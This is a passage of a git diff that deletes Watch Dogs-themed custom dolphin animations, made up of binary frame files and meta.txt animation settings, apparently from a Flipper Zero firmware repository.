a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_4.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_4.bm deleted file mode 100644 index 0e2aaa31d..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_5.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_5.bm deleted file mode 100644 index f5619c827..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_6.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_6.bm deleted file mode 100644 index c5a80f216..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_7.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_7.bm deleted file mode 100644 index c5e577562..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_8.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_8.bm deleted file mode 100644 index 7236bcccd..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_9.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_9.bm deleted file mode 100644 index aabdf52eb..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_9.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/meta.txt b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/meta.txt deleted file mode 100644 index 55dd3ae55..000000000 --- a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 16 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 -Active cycles: 0 -Frame rate: 7 -Duration: 3600 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/FINGER/frame_0.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/FINGER/frame_0.bm deleted file mode 100644 index 5f0b5e857..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/FINGER/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/FINGER/frame_1.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/FINGER/frame_1.bm deleted file mode 100644 index 4e7822593..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/FINGER/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/FINGER/frame_2.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/FINGER/frame_2.bm deleted file mode 100644 index 847684fe1..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/FINGER/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/FINGER/frame_3.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/FINGER/frame_3.bm deleted file mode 100644 index bd9754c86..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/FINGER/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/FINGER/meta.txt b/assets/resources/dolphin_custom/WatchDogs/Anims/FINGER/meta.txt deleted file mode 100644 index 118db3cbe..000000000 --- a/assets/resources/dolphin_custom/WatchDogs/Anims/FINGER/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 6 -Active frames: 0 -Frames order: 0 1 2 3 2 3 -Active cycles: 0 -Frame rate: 2 -Duration: 3600 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_0.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_0.bm deleted file mode 100644 index 0b8467a67..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_1.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_1.bm deleted file mode 100644 index 2f758e809..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_10.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_10.bm deleted file mode 100644 index bf330ea68..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_11.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_11.bm deleted file mode 100644 index 7373852c9..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_11.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_12.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_12.bm deleted file mode 100644 index 9294505ef..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_12.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_13.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_13.bm deleted file mode 100644 index 68843f2de..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_13.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_14.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_14.bm deleted file mode 100644 index 015477cc8..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_14.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_15.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_15.bm deleted file mode 100644 index 7afbcf2d0..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_15.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_16.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_16.bm deleted file mode 100644 index 7aca67d01..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_16.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_17.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_17.bm deleted file mode 100644 index e3b633199..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_17.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_18.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_18.bm deleted file mode 100644 index a75718513..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_18.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_19.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_19.bm deleted file mode 100644 index 02985b127..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_19.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_2.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_2.bm deleted file mode 100644 index 845a0c5b4..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_20.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_20.bm deleted file mode 100644 index 977e89ace..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_20.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_21.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_21.bm deleted file mode 100644 index fdf80ff6d..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_21.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_3.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_3.bm deleted file mode 100644 index bf0e5506e..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_4.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_4.bm deleted file mode 100644 index 7bde41d8a..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_5.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_5.bm deleted file mode 100644 index faa5636d2..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_6.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_6.bm deleted file mode 100644 index 3137638f3..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_7.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_7.bm deleted file mode 100644 index 94f7767d3..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_8.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_8.bm deleted file mode 100644 index 5efea1a32..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_9.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_9.bm deleted file mode 100644 index d9b7a21d4..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_9.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/meta.txt b/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/meta.txt deleted file mode 100644 index 8fe58cec3..000000000 --- a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 22 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 -Active cycles: 0 -Frame rate: 4 -Duration: 3600 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/HANDS/frame_0.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/HANDS/frame_0.bm deleted file mode 100644 index 34f3ce2fd..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/HANDS/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/HANDS/frame_1.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/HANDS/frame_1.bm deleted file mode 100644 index 923913d01..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/HANDS/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/HANDS/frame_2.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/HANDS/frame_2.bm deleted file mode 100644 index 96039803a..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/HANDS/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/HANDS/frame_3.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/HANDS/frame_3.bm deleted file mode 100644 index d6d29304e..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/HANDS/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/HANDS/frame_4.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/HANDS/frame_4.bm deleted file mode 100644 index e223a7590..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/HANDS/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/HANDS/frame_5.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/HANDS/frame_5.bm deleted file mode 100644 index ec7dc0201..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/HANDS/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/HANDS/frame_6.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/HANDS/frame_6.bm deleted file mode 100644 index dc0ab47a7..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/HANDS/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/HANDS/meta.txt b/assets/resources/dolphin_custom/WatchDogs/Anims/HANDS/meta.txt deleted file mode 100644 index f83c9071b..000000000 --- a/assets/resources/dolphin_custom/WatchDogs/Anims/HANDS/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 12 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 5 4 3 2 1 -Active cycles: 0 -Frame rate: 4 -Duration: 3600 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/JOIN_US/frame_0.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/JOIN_US/frame_0.bm deleted file mode 100644 index 57386557a..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/JOIN_US/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/JOIN_US/frame_1.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/JOIN_US/frame_1.bm deleted file mode 100644 index d421106f0..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/JOIN_US/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/JOIN_US/meta.txt b/assets/resources/dolphin_custom/WatchDogs/Anims/JOIN_US/meta.txt deleted file mode 100644 index 10961ac36..000000000 --- a/assets/resources/dolphin_custom/WatchDogs/Anims/JOIN_US/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 2 -Active frames: 0 -Frames order: 0 1 -Active cycles: 0 -Frame rate: 2 -Duration: 3600 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_0.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_0.bm deleted file mode 100644 index 1ae586f6b..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_1.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_1.bm deleted file mode 100644 index 1ae586f6b..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_10.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_10.bm deleted file mode 100644 index 4a54e9bcd..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_11.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_11.bm deleted file mode 100644 index 9d16114e9..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_11.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_12.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_12.bm deleted file mode 100644 index 73ce2b4a2..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_12.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_13.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_13.bm deleted file mode 100644 index fb6a846c5..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_13.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_14.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_14.bm deleted file mode 100644 index 3ad30a15f..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_14.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_15.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_15.bm deleted file mode 100644 index 13d01fdb1..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_15.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_16.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_16.bm deleted file mode 100644 index 58062e238..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_16.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_17.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_17.bm deleted file mode 100644 index d8fbae837..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_17.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_18.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_18.bm deleted file mode 100644 index 46d67e836..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_18.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_19.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_19.bm deleted file mode 100644 index 330f26580..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_19.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_2.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_2.bm deleted file mode 100644 index 63cb62e7a..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_20.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_20.bm deleted file mode 100644 index 2496932c6..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_20.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_21.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_21.bm deleted file mode 100644 index 914abe79b..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_21.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_22.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_22.bm deleted file mode 100644 index 33635a4a8..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_22.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_23.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_23.bm deleted file mode 100644 index 97900cd74..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_23.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_24.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_24.bm deleted file mode 100644 index 1ae586f6b..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_24.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_25.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_25.bm deleted file mode 100644 index 5338ea117..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_25.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_26.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_26.bm deleted file mode 100644 index 1ae586f6b..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_26.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_27.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_27.bm deleted file mode 100644 index 1ae586f6b..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_27.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_28.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_28.bm deleted file mode 100644 index 635280724..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_28.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_29.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_29.bm deleted file mode 100644 index 1ae586f6b..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_29.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_3.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_3.bm deleted file mode 100644 index b3ad32b4a..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_30.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_30.bm deleted file mode 100644 index 1ae586f6b..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_30.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_4.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_4.bm deleted file mode 100644 index 1ae586f6b..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_5.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_5.bm deleted file mode 100644 index c84b75070..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_6.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_6.bm deleted file mode 100644 index d591e31c0..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_7.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_7.bm deleted file mode 100644 index e13d34250..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_8.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_8.bm deleted file mode 100644 index e7e9d0317..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_9.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_9.bm deleted file mode 100644 index 0fcac4257..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_9.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/meta.txt b/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/meta.txt deleted file mode 100644 index 305463c19..000000000 --- a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 31 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 -Active cycles: 0 -Frame rate: 4 -Duration: 3600 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_0.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_0.bm deleted file mode 100644 index 8b5e07206..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_1.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_1.bm deleted file mode 100644 index 3307b2680..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_10.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_10.bm deleted file mode 100644 index b6d84d4c1..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_11.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_11.bm deleted file mode 100644 index 87ffd215e..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_11.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_12.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_12.bm deleted file mode 100644 index 65bd6a5aa..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_12.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_13.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_13.bm deleted file mode 100644 index 54d3107ef..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_13.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_14.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_14.bm deleted file mode 100644 index e3333c0e8..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_14.bm and /dev/null differ diff --git 